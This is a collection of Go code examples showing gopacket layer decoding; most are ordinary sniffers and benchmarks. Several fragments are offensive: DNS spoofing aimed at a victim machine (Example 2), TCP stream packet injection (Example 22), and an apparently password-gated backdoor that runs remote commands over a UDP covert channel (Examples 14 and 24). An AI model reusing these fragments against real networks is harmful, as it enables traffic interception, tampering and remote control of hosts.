Example #1
0
func BenchmarkDecodeToDNS(b *testing.B) {
	var ethLayer layers.Ethernet
	var ipLayer layers.IPv4
	var udpLayer layers.UDP
	var tcpLayer layers.TCP
	var dns layers.DNS
	var payload gopacket.Payload

	parser := gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&ethLayer,
		&ipLayer,
		&udpLayer,
		&tcpLayer,
		&dns,
		&payload,
	)

	foundLayerTypes := []gopacket.LayerType{}
	packetSource := getPacketData("a")
	packetSource.DecodeOptions.Lazy = true
	packet := <-packetSource.Packets()

	b.ResetTimer()
	for i := 0; i < b.N; i++ {
		parser.DecodeLayers(packet.Data(), &foundLayerTypes)
	}

}
Example #2
0
/*
    FUNCTION: mangleDNS(){
    RETURNS: Nothing
    ARGUMENTS: None
    ABOUT:
    Performs the DNS spoofing against the victims machine. Sets all dns traffic to redirect to the host
		machines IP address.
*/
func mangleDNS() {

	var ethernetLayer layers.Ethernet
	var ipLayer layers.IPv4
	var dnsLayer layers.DNS
	var udpLayer layers.UDP

	decoder := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &ethernetLayer, &ipLayer, &udpLayer, &dnsLayer)
	decoded := make([]gopacket.LayerType, 0, 4)

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for {
		packet, err := packetSource.NextPacket()
		checkError(err)

		err = decoder.DecodeLayers(packet.Data(), &decoded)
		checkError(err)

		if len(decoded) != 4 {
			fmt.Print("Not enough layers\n")
			continue
		}

		buffer := craftAnswer(&ethernetLayer, &ipLayer, &dnsLayer, &udpLayer)
		if buffer == nil { // if original query was invalid
			fmt.Print("Buffer error, returned nil.\n")
			continue
		}

		err = handle.WritePacketData(buffer)
		checkError(err)
	}
}
Example #3
0
func (i *Sniffer) decodePackets() {
	var eth layers.Ethernet
	var ip layers.IPv4
	var tcp layers.TCP
	var payload gopacket.Payload

	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &eth, &ip, &tcp, &payload)
	decoded := make([]gopacket.LayerType, 0, 4)

	for {
		select {
		case <-i.stopDecodeChan:
			return
		case timedRawPacket := <-i.decodePacketChan:
			newPayload := new(gopacket.Payload)
			payload = *newPayload
			err := parser.DecodeLayers(timedRawPacket.RawPacket, &decoded)
			if err != nil {
				continue
			}
			flow := types.NewTcpIpFlowFromFlows(ip.NetworkFlow(), tcp.TransportFlow())
			packetManifest := types.PacketManifest{
				Timestamp: timedRawPacket.Timestamp,
				Flow:      flow,
				RawPacket: timedRawPacket.RawPacket,
				IP:        ip,
				TCP:       tcp,
				Payload:   payload,
			}
			i.dispatcher.ReceivePacket(&packetManifest)
		}
	}
}
Example #4
0
func (b *Bridge) snooper() {
	var (
		dot1q layers.Dot1Q
		eth   layers.Ethernet
		ip4   layers.IPv4
		ip6   layers.IPv6
		arp   layers.ARP
	)

	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
		&dot1q,
		&eth,
		&ip4,
		&ip6,
		&arp,
	)

	decodedLayers := []gopacket.LayerType{}

	for {
		data, _, err := b.handle.ReadPacketData()
		if err != nil {
			if err != io.EOF {
				log.Error("error reading packet data: ", err)
			}
			break
		}

		if err := parser.DecodeLayers(data, &decodedLayers); err != nil {
			if err2, ok := err.(gopacket.UnsupportedLayerType); ok {
				switch gopacket.LayerType(err2) {
				case layers.LayerTypeICMPv6, gopacket.LayerTypePayload:
					// ignore
					err = nil
				default:
					continue
				}
			}

			if err != nil {
				log.Error("error parsing packet: %v", err)
				continue
			}
		}

		for _, layerType := range decodedLayers {
			switch layerType {
			case layers.LayerTypeICMPv6:
				b.updateIP(eth.SrcMAC.String(), ip6.SrcIP)
			case layers.LayerTypeARP:
				b.updateIP(eth.SrcMAC.String(), net.IP(arp.SourceProtAddress))
			}
		}
	}

	log.Info("%v snoop out", b.Name)
}
Example #5
0
func NewMetroDecoder() *MetroDecoder {
	d := &MetroDecoder{
		decoded: make([]gopacket.LayerType, 0, 4),
	}
	d.parser = gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
		&d.eth, &d.dot1q, &d.ip4, &d.ip6,
		&d.ip6extensions, &d.tcp, &d.payload)

	return d
}
Example #6
0
func NewSession(c Config) *Session {
	s := &Session{
		Config:       c,
		streams:      map[streamID]*stream{},
		nextCleaning: time.Now().Add(cleanInterval),
	}
	s.source = gopacket.NewPacketSource(s.Handle, s.Handle.LinkType())
	s.parser = gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &s.eth, &s.ip4, &s.ip6, &s.tcp, &s.payload)
	return s
}
Example #7
0
func (pd *packetData) Parse() error {

	if pd.datatype == "tcp" {
		pd.dns = &layers.DNS{}
		pd.payload = &gopacket.Payload{}
		//for parsing the reassembled TCP streams
		dnsParser := gopacket.NewDecodingLayerParser(
			layers.LayerTypeDNS,
			pd.dns,
			pd.payload,
		)

		dnsParser.DecodeLayers(pd.tcpdata.DnsData, &pd.foundLayerTypes)

		return nil
	} else if pd.datatype == "packet" {
		pd.ethLayer = &layers.Ethernet{}
		pd.ipLayer = &layers.IPv4{}
		pd.udpLayer = &layers.UDP{}
		pd.tcpLayer = &layers.TCP{}
		pd.dns = &layers.DNS{}
		pd.payload = &gopacket.Payload{}
		//we're constraining the set of layer decoders that gopacket will apply
		//to this traffic. this MASSIVELY speeds up the parsing phase
		parser := gopacket.NewDecodingLayerParser(
			layers.LayerTypeEthernet,
			pd.ethLayer,
			pd.ipLayer,
			pd.udpLayer,
			pd.tcpLayer,
			pd.dns,
			pd.payload,
		)

		parser.DecodeLayers(pd.packet.Data(), &pd.foundLayerTypes)

		return nil

	} else {
		return errors.New("Bad packet type: " + pd.datatype)
	}
}
Example #8
0
// SequenceFromPacket returns a Sequence number and nil error if the given
// packet is able to be parsed. Otherwise returns 0 and an error.
func SequenceFromPacket(packet []byte) (uint32, error) {
	var ip layers.IPv4
	var tcp layers.TCP
	decoded := []gopacket.LayerType{}
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp)
	err := parser.DecodeLayers(packet, &decoded)
	if err != nil {
		return 0, err
	}
	return tcp.Seq, nil
}
Example #9
0
// New returns a new sniffing reporter that samples traffic by turning its
// packet capture facilities on and off. Note that the on and off durations
// represent a way to bound CPU burn. Effective sample rate needs to be
// calculated as (packets decoded / packets observed).
func New(hostID string, localNets report.Networks, src gopacket.ZeroCopyPacketDataSource, on, off time.Duration) *Sniffer {
	s := &Sniffer{
		hostID:    hostID,
		localNets: localNets,
		reports:   make(chan chan report.Report),
	}
	s.parser = gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&s.eth, &s.ip4, &s.ip6, &s.tcp, &s.udp, &s.icmp4, &s.icmp6,
	)
	go s.loop(src, on, off)
	return s
}
Example #10
0
// getPacketFlow returns a TcpIpFlow struct given a byte array packet
func NewTcpIpFlowFromPacket(packet []byte) (*TcpIpFlow, error) {
	var ip layers.IPv4
	var tcp layers.TCP
	decoded := []gopacket.LayerType{}
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ip, &tcp)
	err := parser.DecodeLayers(packet, &decoded)
	if err != nil {
		return &TcpIpFlow{}, err
	}
	return &TcpIpFlow{
		ipFlow:  ip.NetworkFlow(),
		tcpFlow: tcp.TransportFlow(),
	}, nil
}
Example #11
0
// Listen in an infinite loop for new packets
func Listen(config *Config) error {
	// Array to store which layers were decoded
	decoded := []gopacket.LayerType{}

	// Faster, predefined layer parser that doesn't make copies of the layer slices
	parser := gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&eth,
		&ip,
		&tcp,
		&udp,
		&icmp,
		&dns,
		&payload)

	// Infinite loop that reads incoming packets
	for config.isRunning {
		data, ci, err := config.sniffer.ReadPacket()
		if err != nil {
			log.Printf("Error getting packet: %v %s", err, ci)
			continue
		}
		err = parser.DecodeLayers(data, &decoded)
		if err != nil {
			log.Printf("Error decoding packet: %v", err)
			continue
		}
		if len(decoded) == 0 {
			log.Print("Packet contained no valid layers")
			continue
		}

		// Example of how to get data out of specific layers
		for _, layerType := range decoded {
			switch layerType {
			case layers.LayerTypeIPv4:
				log.Printf("src: %v, dst: %v, proto: %v", ip.SrcIP, ip.DstIP, ip.Protocol)
			}
		}

		if config.pcapWriter != nil {
			config.pcapWriter.WritePacket(ci, data)
		}
	}

	return nil
}
Example #12
0
func setupSpoofingSocket(config Config) {
	var err error
	ipv4Parser = gopacket.NewDecodingLayerParser(layers.LayerTypeIPv4, &ipv4Layer)

	handle, err = pcap.OpenLive(config.Device, 1024, false, 30*time.Second)
	if err != nil {
		panic(err)
	}

	srcBytes, _ := hex.DecodeString(config.Src)
	dstBytes, _ := hex.DecodeString(config.Dst)
	linkHeader = append(dstBytes, srcBytes...)
	linkHeader = append(linkHeader, 0x08, 0) // IPv4 EtherType

	//  var ipv6Layer layers.ipv6
	//  ipv6Parser := gopacket.NewDecodingLayerParser(layers.LayerTypeIPv6, &ipv6Layer)
}
Example #13
0
func main() {
	//get local ip
	localip, err := checkLocalip(device)

	// Open device
	handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {
		parser := gopacket.NewDecodingLayerParser(
			layers.LayerTypeEthernet,
			&ethLayer,
			&ipLayer,
			&tcpLayer,
		)
		foundLayerTypes := []gopacket.LayerType{}

		err := parser.DecodeLayers(packet.Data(), &foundLayerTypes)
		if err != nil {
			fmt.Println("Trouble decoding layers: ", err)
		}

		for _, layerType := range foundLayerTypes {
			if layerType == layers.LayerTypeIPv4 {
				fmt.Println("IPV4 found")
			}
			if ipLayer.DstIP.String() == localip || ipLayer.SrcIP.String() == localip {
				fmt.Println("IPv4 go through this machine: ", ipLayer.SrcIP, "->", ipLayer.DstIP)
				applicationLayer := packet.ApplicationLayer()
				if strings.Contains(string(applicationLayer.Payload()), "HTTP") {
					fmt.Println("HTTP found!")
					fmt.Println("layer content", string(applicationLayer.LayerContents()))
					fmt.Println("layer payload", string(applicationLayer.Payload()))
					fmt.Println("layer type", string(applicationLayer.LayerType()))
				}
			}

		}

	}
}
Example #14
0
/*
   FUNCTION: fileWait(ip, filename string, lport uint16)
   RETURNS: Nothing
   ARGUMENTS:
               string ip - the ip address of the server
               string filename - the file we are waiting for
               uint16 lport - the port we're listening on
   ABOUT:
   Waits as a seperate thread for incoming file data on the lport + 1. Upon recieving a
   FSND_COMPLETE packet, saves the recieved file and shuts the thread down.
*/
func fileWait(ip, filename string, lport uint16) {

	var ipLayer layers.IPv4
	var ethLayer layers.Ethernet
	var udpLayer layers.UDP
	var payload gopacket.Payload

	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &ethLayer, &ipLayer, &udpLayer, &payload)
	decoded := make([]gopacket.LayerType, 0, 4)
	fBuffer := new(bytes.Buffer)

	packetSource := gopacket.NewPacketSource(fhandle, fhandle.LinkType())
	for {
		packet, err := packetSource.NextPacket()
		checkError(err)

		err = parser.DecodeLayers(packet.Data(), &decoded)
		if err != nil {
			continue
		}

		if len(decoded) < 3 {
			fmt.Println("Not enough layers!")
			continue
		}

		incomingIP := ipLayer.SrcIP.String()

		if incomingIP == ip && uint16(udpLayer.DstPort) == lport+1 {
			err = binary.Write(fBuffer, binary.BigEndian, MAX_PORT-uint16(udpLayer.SrcPort))
			checkError(err)
		} else if incomingIP == ip && uint16(udpLayer.DstPort) == FSND_CMPLETE {
			data := decrypt_data(fBuffer.Bytes())

			err := ioutil.WriteFile(filename, data, 0644)
			checkError(err)

			fmt.Printf("File transfer %s completed. Transfered: %d bytes", filename, fBuffer.Len())
			return
		}
	}
}
Example #15
0
func BenchmarkDecodeToIP(b *testing.B) {
	var ethLayer layers.Ethernet
	var ipLayer layers.IPv4

	parser := gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&ethLayer,
		&ipLayer,
	)

	foundLayerTypes := []gopacket.LayerType{}
	packetSource := getPacketData("a")
	packetSource.DecodeOptions.Lazy = true
	packet := <-packetSource.Packets()

	b.ResetTimer()
	for i := 0; i < b.N; i++ {
		parser.DecodeLayers(packet.Data(), &foundLayerTypes)
	}

}
Example #16
0
func (s *SloppyTrace) CollectProbes() {
	var eth layers.Ethernet
	var ip layers.IPv4
	var tcp layers.TCP
	var payload gopacket.Payload

	log.Print("probe collection started")

	handle, err := pcap.OpenLive(s.Interface, int32(s.Snaplen), true, pcap.BlockForever)
	if err != nil {
		log.Fatal("error opening pcap handle: ", err)
	}
	if err = handle.SetBPFFilter(s.CollectBPF); err != nil {
		log.Fatal("error setting BPF filter: ", err)
	}

	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
		&eth, &ip, &tcp, &payload)
	decoded := make([]gopacket.LayerType, 0, 4)

	for {
		data, ci, err := handle.ZeroCopyReadPacketData()
		if err != nil {
			log.Printf("error getting packet: %v %s", err, ci)
			continue
		}
		err = parser.DecodeLayers(data, &decoded)
		if err != nil {
			log.Printf("error decoding packet: %v", err)
			continue
		}

		flow := NewTcpIpFlowFromLayers(ip, tcp)
		log.Printf("packet flow %s\n", flow)
		log.Printf("IP TTL %d\n", ip.TTL)
	}

	// XXX
	log.Print("probe collection neverending?")
}
Example #17
0
func benchmarkLayerDecode(source *BufferPacketSource, assemble bool) {
	var tcp layers.TCP
	var ip layers.IPv4
	var eth layers.Ethernet
	var udp layers.UDP
	var icmp layers.ICMPv4
	var payload gopacket.Payload
	parser := gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&eth, &ip, &icmp, &tcp, &udp, &payload)
	pool := tcpassembly.NewStreamPool(&streamFactory{})
	assembler := tcpassembly.NewAssembler(pool)
	var decoded []gopacket.LayerType
	start := time.Now()
	packets, decodedlayers, assembled := 0, 0, 0
	for {
		packets++
		data, ci, err := source.ReadPacketData()
		if err == io.EOF {
			break
		} else if err != nil {
			fmt.Println("Error reading packet: ", err)
			continue
		}
		err = parser.DecodeLayers(data, &decoded)
		for _, typ := range decoded {
			decodedlayers++
			if typ == layers.LayerTypeTCP && assemble {
				assembled++
				assembler.AssembleWithTimestamp(ip.NetworkFlow(), &tcp, ci.Timestamp)
			}
		}
	}
	if assemble {
		assembler.FlushAll()
	}
	duration := time.Since(start)
	fmt.Printf("\tRead in %d packets in %v, decoded %v layers, assembled %v packets: %v per packet\n", packets, duration, decodedlayers, assembled, duration/time.Duration(packets))
}
Example #18
0
func (b PCAPBackend) ExtractIps(reader io.Reader, ips *ipset.Set) (uint64, error) {
	packets := uint64(0)

	pr, err := pcapgo.NewReader(reader)
	if err != nil {
		return 0, err
	}
	var eth layers.Ethernet
	var dot1q layers.Dot1Q
	var ip4 layers.IPv4
	var ip6 layers.IPv6
	var tcp layers.TCP
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &eth, &dot1q, &ip4, &ip6, &tcp)
	decoded := []gopacket.LayerType{}
	for {
		packetData, _, err := pr.ReadPacketData()
		packets++
		if err == io.EOF {
			break
		}
		if err != nil {
			return packets, err
		}
		err = parser.DecodeLayers(packetData, &decoded)
		for _, layerType := range decoded {
			switch layerType {
			case layers.LayerTypeIPv6:
				ips.AddIP(ip6.SrcIP)
				ips.AddIP(ip6.DstIP)
			case layers.LayerTypeIPv4:
				ips.AddIP(ip4.SrcIP)
				ips.AddIP(ip4.DstIP)
			}
		}
	}

	return packets, nil
}
Example #19
0
func main() {
	// Open device
	handle, err = pcap.OpenLive(device, snapshot_len, promiscuous, timeout)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {

		// Do something with a packet here.

		parser := gopacket.NewDecodingLayerParser(
			layers.LayerTypeEthernet,
			&ethLayer,
			&ipLayer,
			&tcpLayer,
		)
		decoded := []gopacket.LayerType{}

		err := parser.DecodeLayers(packet.Data(), &decoded)
		if err != nil {
			fmt.Println("Trouble decoding layers: ", err)
		}

		for _, layerType := range decoded {
			if layerType == layers.LayerTypeIPv4 {
				fmt.Println("IPv4: ", ipLayer.SrcIP, "->", ipLayer.DstIP)
			}
			if layerType == layers.LayerTypeTCP {
				fmt.Println("TCP Port: ", tcpLayer.SrcPort, "->", tcpLayer.DstPort)
				fmt.Println("TCP SYN:", tcpLayer.SYN, " | ACK:", tcpLayer.ACK)
			}
		}
	}

}
Example #20
0
func handlePacket(packet gopacket.Packet) {
	var eth layers.Ethernet
	var ip4 layers.IPv4
	var udp layers.UDP
	var payload gopacket.Payload
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &eth, &ip4, &udp, &payload)
	decoded := []gopacket.LayerType{}

	err := parser.DecodeLayers(packet.Data(), &decoded)
	if err != nil {
		log.Printf("Decoding error:%v\n", err)
	}
	for _, layerType := range decoded {
		switch layerType {
		case layers.LayerTypeEthernet:
			fmt.Println("    Eth ", eth.SrcMAC, eth.DstMAC)
		case layers.LayerTypeIPv4:
			fmt.Println("    IP4 ", ip4.SrcIP, ip4.DstIP)
		case layers.LayerTypeUDP:
			fmt.Println("    UDP ", udp.SrcPort, udp.DstPort, payload.GoString())
		}

	}
}
Example #21
0
File: trace.go Project: Wang/ping
func (s *Server) parsingReplies() {
	var eth layers.Ethernet
	var ip layers.IPv4
	var icmp layers.ICMPv4
	var payload gopacket.Payload

	icmpParser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &eth, &ip, &icmp, &payload)
	decoded := make([]gopacket.LayerType, 0, 4)

	go func() {
		s.wg.Done()
		defer close(s.receiveIcmpChan)
		for packet := range s.receiveParseChan {
			err := icmpParser.DecodeLayers(packet, &decoded)
			if err == nil {
				s.receiveIcmpChan <- PayloadIcmpIpLayer{
					ip:      ip,
					icmp:    icmp,
					payload: payload,
				}
			}
		}
	}()
}
Example #22
0
func main() {
	defer util.Run()()

	var eth layers.Ethernet
	var dot1q layers.Dot1Q
	var ip4 layers.IPv4
	var ip6 layers.IPv6
	var ip6extensions layers.IPv6ExtensionSkipper
	var tcp layers.TCP
	var payload gopacket.Payload
	decoded := make([]gopacket.LayerType, 0, 4)

	// target/track all TCP flows from this TCP/IP service endpoint
	trackedFlows := make(map[types.TcpIpFlow]int)
	serviceIP := net.ParseIP(*serviceIPstr)
	if serviceIP == nil {
		panic(fmt.Sprintf("non-ip target: %q\n", serviceIPstr))
	}
	serviceIP = serviceIP.To4()
	if serviceIP == nil {
		panic(fmt.Sprintf("non-ipv4 target: %q\n", serviceIPstr))
	}

	streamInjector := attack.TCPStreamInjector{}
	err := streamInjector.Init("0.0.0.0")
	if err != nil {
		panic(err)
	}
	streamInjector.Payload = []byte("meowmeowmeow")

	handle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)
	if err != nil {
		log.Fatal("error opening pcap handle: ", err)
	}
	if err := handle.SetBPFFilter(*filter); err != nil {
		log.Fatal("error setting BPF filter: ", err)
	}
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,
		&eth, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload)
	flow := &types.TcpIpFlow{}

	log.Print("collecting packets...\n")

	for {
		data, ci, err := handle.ZeroCopyReadPacketData()
		if err != nil {
			log.Printf("error getting packet: %v %s", err, ci)
			continue
		}
		err = parser.DecodeLayers(data, &decoded)
		if err != nil {
			log.Printf("error decoding packet: %v", err)
			continue
		}

		// if we see a flow coming from the tcp/ip service we are watching
		// then track how many packets we receive from each flow
		if tcp.SrcPort == layers.TCPPort(*servicePort) && ip4.SrcIP.Equal(serviceIP) {
			flow = types.NewTcpIpFlowFromLayers(ip4, tcp)
			_, isTracked := trackedFlows[*flow]
			if isTracked {
				trackedFlows[*flow] += 1
			} else {
				trackedFlows[*flow] = 1
			}
		} else {
			continue
		}

		// after 3 packets from a given flow then inject packets into the stream
		if trackedFlows[*flow]%10 == 0 {
			err = streamInjector.SetIPLayer(ip4)
			if err != nil {
				panic(err)
			}
			streamInjector.SetTCPLayer(tcp)
			err = streamInjector.SpraySequenceRangePackets(tcp.Seq, 20)
			if err != nil {
				panic(err)
			}
			log.Print("packet spray sent!\n")
		}
	}
}
Example #23
0
	"sync"

	"github.com/google/gopacket"
	"github.com/google/gopacket/layers"
)

var (
	eth    layers.Ethernet
	ip4    layers.IPv4
	ip6    layers.IPv6
	icmp4  layers.ICMPv4
	icmp6  layers.ICMPv6
	tcp    layers.TCP
	udp    layers.UDP
	parser = gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&eth, &ip4, &ip6, &icmp4, &icmp6, &tcp, &udp)
	decoded = []gopacket.LayerType{}
	lock    sync.Mutex
)

func Dissect(dissect bool, data []byte) {
	lock.Lock()
	if dissect {
		parser.DecodeLayers(data, &decoded)

		for _, typ := range decoded {
			switch typ {
			case layers.LayerTypeEthernet:
				fmt.Println(gopacket.LayerString(&eth))
			case layers.LayerTypeIPv4:
Example #24
0
/*
   FUNCTION: beginListen(ip string, port, lport uint16)
   RETURNS: Nothing
   ARGUMENTS:
               string ip : the ip address of the server
               uint16 port : port to send data to
               uint16 lport : port to listen for data on

   ABOUT:
   Intiates the listen loop of the program for both the client and server.
   Will perform differently based on the user specified mode.
*/
func beginListen(ip string, port, lport uint16) {

	var ipLayer layers.IPv4
	var ethLayer layers.Ethernet
	var udpLayer layers.UDP
	var payload gopacket.Payload

	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &ethLayer, &ipLayer, &udpLayer, &payload)
	decoded := make([]gopacket.LayerType, 0, 4)
	buffer := new(bytes.Buffer)

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for {
		packet, err := packetSource.NextPacket()
		checkError(err)

		err = parser.DecodeLayers(packet.Data(), &decoded)
		if err != nil {
			continue
		}

		if len(decoded) < 3 {
			fmt.Println("Not enough layers!")
			continue
		}

		incomingIP := ipLayer.SrcIP.String()

		if pType == CLIENT {
			if incomingIP == ip {
				switch uint16(udpLayer.DstPort) {

				case lport:
					err = binary.Write(buffer, binary.BigEndian, MAX_PORT-uint16(udpLayer.SrcPort))
					checkError(err)
					break

				case SND_CMPLETE:
					data := decrypt_data(buffer.Bytes())
					fmt.Print(string(data))
					buffer.Reset()
				}
			}
		} else {
			if incomingIP == authenticatedAddr {
				switch uint16(udpLayer.DstPort) {

				case lport:
					err = binary.Write(buffer, binary.BigEndian, MAX_PORT-uint16(udpLayer.SrcPort))
					checkError(err)
					break

				case SND_CMPLETE:
					strData := string(decrypt_data(buffer.Bytes()))
					if strings.HasPrefix(strData, "[EXEC]") {
						executeCommand(strData, incomingIP, port)
					}
					if strings.HasPrefix(strData, "[BD]") {
						executeServerCommand(strData, incomingIP, port)
					}
					buffer.Reset()
				}
			} else if uint16(udpLayer.DstPort) == lport {

				data := decrypt_data(udpLayer.Payload)

				if string(data) == passwd {
					fmt.Printf("Authcode recieved, opening communication with %s\n", incomingIP)
					authenticatedAddr = incomingIP
					sendEncryptedData(port, "Authentication code verified!\n", ip, CMD)
				}
			}
		}

	}
}
Example #25
0
func NewEthernetDecoder() *EthernetDecoder {
	dec := &EthernetDecoder{}
	dec.parser = gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &dec.Eth, &dec.IP)
	return dec
}
Example #26
0
func main() {
	var (
		device = flag.String("device", "eth0", "device to sniff")
	)
	flag.Parse()

	const (
		snaplen = 1024 * 1024
		promisc = true
		timeout = pcap.BlockForever
	)
	handle, err := pcap.OpenLive(*device, snaplen, promisc, timeout)
	if err != nil {
		log.Fatal(err)
	}

	go func() {
		time.Sleep(5 * time.Second)
		handle.Close()
	}()

	var (
		eth   layers.Ethernet
		ip4   layers.IPv4
		ip6   layers.IPv6
		tcp   layers.TCP
		udp   layers.UDP
		icmp4 layers.ICMPv4
		icmp6 layers.ICMPv6
	)
	parser := gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&eth, &ip4, &ip6, &tcp, &udp, &icmp4, &icmp6,
	)
	decoded := []gopacket.LayerType{}

	done := make(chan struct{})
	go func() {
		defer close(done)
		for {
			data, ci, err := handle.ZeroCopyReadPacketData()
			if err == io.EOF {
				log.Print("read: EOF")
				return
			}
			if err != nil {
				log.Printf("read: %v", err)
				continue
			}
			log.Println(ci.Timestamp.String())
			err = parser.DecodeLayers(data, &decoded)
			if err != nil {
				log.Printf("Error in DecodeLayers: %v", err)
				continue
			}
			for _, t := range decoded {
				switch t {
				case layers.LayerTypeEthernet:
					log.Println(" Ethernet", eth.EthernetType, eth.SrcMAC, eth.DstMAC, eth.Length)
				case layers.LayerTypeIPv6:
					log.Println(" IP6", ip6.Version, ip6.SrcIP, ip6.DstIP, ip6.Length, ip6.TrafficClass)
				case layers.LayerTypeIPv4:
					log.Println(" IP4", ip4.Version, ip4.SrcIP, ip4.DstIP, ip4.Length, ip4.TTL, ip4.TOS)
				case layers.LayerTypeTCP:
					log.Println(" TCP", tcp.SrcPort, tcp.DstPort, tcp.Seq, tcp.Ack, tcp.Window)
				case layers.LayerTypeUDP:
					log.Println(" UDP", udp.SrcPort, udp.DstPort, udp.Length)
				case layers.LayerTypeICMPv4:
					log.Println(" ICMP4", icmp4.Id, icmp4.Seq)
				case layers.LayerTypeICMPv6:
					log.Println(" ICMP6")
				}
			}
			log.Println()
		}
	}()
	<-done
}
Example #27
0
// processor is a worker that decodes packets and passes on to Account and Log.
func (c *Capture) processor(num int, packetsCh <-chan gopacket.Packet) {
	log.Printf("processor %d: starting", num)

	buffer := c.nextBuffer()
	defer func() {
		// TODO: Save a checkpoint.
		if c.Log != nil {
			c.Log(buffer)
		}
	}()

	var (
		eth     layers.Ethernet
		ip4     layers.IPv4
		ip6     layers.IPv6
		tcp     layers.TCP
		udp     layers.UDP
		dns     layers.DNS
		payload gopacket.Payload
	)
	parser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet, &eth, &ip4, &ip6, &tcp, &udp, &dns, &payload)
	for packet := range packetsCh {
		var decoded []gopacket.LayerType
		if err := parser.DecodeLayers(packet.Data(), &decoded); err != nil {
			log.Printf("processor %d: %v", num, err)
		}
		m := packet.Metadata()
		b := Metadata{
			Timestamp: m.Timestamp,
			Size:      uint64(m.Length),
		}
		for _, layerType := range decoded {
			switch layerType {
			case layers.LayerTypeIPv6:
				b.SrcIP, b.DstIP = ip6.SrcIP, ip6.DstIP
				b.SrcName, b.DstName = c.revDNS.names(local(b.SrcIP, b.DstIP), ip6.NetworkFlow())
				b.V6 = true
			case layers.LayerTypeIPv4:
				b.SrcIP, b.DstIP = ip4.SrcIP, ip4.DstIP
				b.SrcName, b.DstName = c.revDNS.names(local(b.SrcIP, b.DstIP), ip4.NetworkFlow())
			case layers.LayerTypeTCP:
				b.SrcPort, b.DstPort = uint16(tcp.SrcPort), uint16(tcp.DstPort)
			case layers.LayerTypeUDP:
				b.SrcPort, b.DstPort = uint16(udp.SrcPort), uint16(udp.DstPort)
			case layers.LayerTypeDNS:
				// Add DNS answers to reverse DNS map.
				// The "src" is the host who did the query, but answers are replies, so "src" = dst.
				// Should be here only after b.DstIP is set.
				c.revDNS.add(b.DstIP, &dns)
			}
		}

		c.Account(&b)

		if c.Log != nil {
			buffer = append(buffer, b)
			if len(buffer) >= c.BufferSize {
				go c.logBuffer(buffer)
				buffer = c.nextBuffer()
			}
		}
	}
	log.Printf("processor %d: stopping", num)
}
Example #28
0
//kick off packet procesing threads and start the packet capture loop
func doCapture(handle *pcap.Handle, logChan chan dnsLogEntry,
	config *pdnsConfig, reChan chan tcpDataStruct,
	stats *statsd.StatsdBuffer) {

	gcAgeDur, err := time.ParseDuration(config.gcAge)

	if err != nil {
		log.Fatal("Your gc_age parameter was not parseable.  Use a string like '-1m'")
	}

	gcIntervalDur, err := time.ParseDuration(config.gcInterval)

	if err != nil {
		log.Fatal("Your gc_age parameter was not parseable.  Use a string like '3m'")
	}

	//setup the global channel for reassembled TCP streams
	reassembleChan = reChan

	/* init channels for the packet handlers and kick off handler threads */
	var channels []chan *packetData
	for i := 0; i < config.numprocs; i++ {
		channels = append(channels, make(chan *packetData, 100))
	}

	for i := 0; i < config.numprocs; i++ {
		go handlePacket(channels[i], logChan, gcIntervalDur, gcAgeDur, i, stats)
	}

	// Use the handle as a packet source to process all packets
	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	//only decode packet in response to function calls, this moves the
	//packet processing to the processing threads
	packetSource.DecodeOptions.Lazy = true
	//We don't mutate bytes of the packets, so no need to make a copy
	//this does mean we need to pass the packet via the channel, not a pointer to the packet
	//as the underlying buffer will get re-allocated
	packetSource.DecodeOptions.NoCopy = true

	/*
		parse up to the IP layer so we can consistently balance the packets across our
		processing threads

		TODO: in the future maybe pass this on the channel to so we don't reparse
				but the profiling I've done doesn't point to this as a problem
	*/

	var ethLayer layers.Ethernet
	var ipLayer layers.IPv4

	parser := gopacket.NewDecodingLayerParser(
		layers.LayerTypeEthernet,
		&ethLayer,
		&ipLayer,
	)

	foundLayerTypes := []gopacket.LayerType{}

CAPTURE:
	for {
		select {
		case reassembledTcp := <-reChan:
			pd := NewTcpData(reassembledTcp)
			channels[int(reassembledTcp.IpLayer.FastHash())&(config.numprocs-1)] <- pd
			if stats != nil {
				stats.Incr("reassembed_tcp", 1)
			}
		case packet := <-packetSource.Packets():
			if packet != nil {
				parser.DecodeLayers(packet.Data(), &foundLayerTypes)
				if foundLayerType(layers.LayerTypeIPv4, foundLayerTypes) {
					pd := NewPacketData(packet)
					channels[int(ipLayer.NetworkFlow().FastHash())&(config.numprocs-1)] <- pd
					if stats != nil {
						stats.Incr("packets", 1)
					}
				}
			} else {
				//if we get here, we're likely reading a pcap and we've finished
